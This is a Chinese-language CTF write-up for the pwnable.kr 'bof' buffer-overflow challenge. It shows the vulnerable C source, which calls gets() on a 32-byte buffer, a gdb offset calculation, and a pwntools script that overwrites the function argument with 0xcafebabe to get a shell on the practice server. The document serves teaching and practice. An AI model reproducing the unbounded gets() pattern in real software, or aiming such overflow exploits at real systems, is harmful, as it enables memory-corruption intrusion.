概述
继续pwn学习,靶场为http://pwnable.kr/,今天为该系列第3篇bof
题目
题目概述
题目提示缓冲区溢出,是常见的软件漏洞。
文件与源码下载
- http://pwnable.kr/bin/bof
- http://pwnable.kr/bin/bof.c
连接方式
nc pwnable.kr 9000
源代码分析
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
思路
这段代码中有函数func()
和主函数main()
,main()
中调用了func()
,func()
接收main()
传递的值0xdeadbeef
,并与0xcafebabe
比较,如果相等能得到shell。
func()
中定义了一个32byte的字符串,并使用gets()
函数接收,但没有检查边界,如果用户输入超过32bytes,会发生溢出。
gdb分析
pwndbg> start
pwndbg> pdisass &func 12
可以看到比较的过程,传入的参数在ebp+8,而用户输入缓冲区的数据在ebp-0x2c
因此,二者的距离为0x34
In [1]: hex(0x8--0x2C)
Out[1]: '0x34'
解答
使用Python第三方库pwntools编写利用脚本
# coding: utf-8
from pwn import *
context.log_level = 'debug'
r = remote("pwnable.kr", 9000)
r.sendline("A" * 0x34 + p32(0xcafebabe))
r.interactive()